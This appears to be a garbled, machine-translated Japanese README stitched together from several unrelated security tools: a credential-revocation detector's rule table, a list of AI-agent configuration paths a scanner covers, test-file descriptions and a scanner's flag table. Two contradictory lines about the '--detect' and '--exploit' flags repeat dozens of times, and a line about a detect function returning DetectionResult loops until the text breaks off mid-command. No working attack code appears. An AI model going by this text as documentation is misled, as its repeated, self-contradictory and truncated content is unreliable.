- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。
- 検出は、`--detect` と `--exploit` の両方が指定されている場合に実行されます。
- 検出は、`--detect` も `--exploit` も指定されていない場合に実行されます。

---

[Read more](https://github.com/het-p301204/afterlife)
ツールをダウンロード
ルール重大度答える問い発火
AFTERLIFE-002リフレッシュ認証情報の再利用CRITICAL / MEDIUM盗まれたのか?再利用時
AFTERLIFE-003セキュリティ変更時の不完全な失効HIGH / LOW封じ込めは実行されたか?変更時 — 攻撃者は不要
AFTERLIFE-001失効後の認証情報系譜の使用HIGH古い系譜が使用されたか?最初の受理時
RULE PACK
エージェント設定パスステータス
Claude Desktop~/Library/Application Support/Claude/claude_desktop_config.json (macOS)✅ サポート済み
Cursor~/.cursor/mcp.json✅ サポート済み
Windsurf~/.codeium/windsurf/mcp_config.json✅ サポート済み
VS Code~/.vscode/mcp.json✅ サポート済み
Continue~/.continue/config.json✅ サポート済み
--agent <name>
特定のエージェントのみを検出
file何を固定するか
test_fixed_mode.py決してレッドになってはならない回帰スイート — 失効イベントより前に発行された資格情報は、その後に受け入れられない。古い系統から派生したものを含む
test_vulnerable_mode.py脆弱性が存在し、決定的で、30日間持続し、条件分岐によって引き起こされる — device_id コントロールが失効パスをデッドではなくオプショナルであることを証明する
test_lineage.pyリフレッシュチェーンは1つの系統と1つのルートを保つ。系統を作るのはログインだけ
test_detector_afterlife001.py7つの検出ケース、9つの誤検知ケース、2つのブラインドスポット、全24のイベント順序、有界状態、不正な入力
test_detector_rulepack.pyAFTERLIFE-002 と AFTERLIFE-003 — すべての判定、グレースウィンドウ、ローテーションは死ではないこと、有効期限の除外、エンジンの順序付け
test_naive_detector.pyNAIVE-001 がこの README が主張する特定の方法で失敗し続ける — 必要なデータを持っていたことを含む
test_audit_and_console.pyどのルールも見えない休眠サバイバー。両方の監査ソースが一致すること。コンソールが独自の判定を計算しないこと。オフラインプレビューが何も取得しないこと。この README のすべての数値が範囲内で、スタイルシート不要かつバイト安定であること
test_scenarios.py議論を支えるマトリックスの行
test_privilege_changes.pyMFA、ロール変更、アカウント復旧、両モード
test_telemetry.pyリダクション契約、および発行されたリテラルベアラ文字列についてのログの grep
test_app.py偽造署名、誤った資格情報タイプ、サーバー状態からの有効期限
test_infrastructure.py設定、クロック、テーラーの部分行、両方の CLI、すべてのデモコマンド
フラグ説明デフォルト
--target対象ドメインまたは IP必須
--threads並行ワーカー数10
--timeoutリクエストタイムアウト(秒)30
--output出力ファイルのパスreport.md
--format出力形式(md または json)md
カテゴリ説明
configエージェントとエディタの設定ファイル
mcpMCPサーバーの設定と登録
credentials保存された認証情報とシークレット
skillsエージェントのスキルとツール定義
projectプロジェクト固有の設定
confidence
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、is_malicious ブール値と、confidence スコアが含まれます。
  • 検出は、detect 関数を呼び出すことによって実行されます。この関数は、DetectionResult オブジェクトを返します。
  • DetectionResult オブジェクトには、`is_m```bash python -m detector --audit --events evidence/vulnerable-persistence.jsonl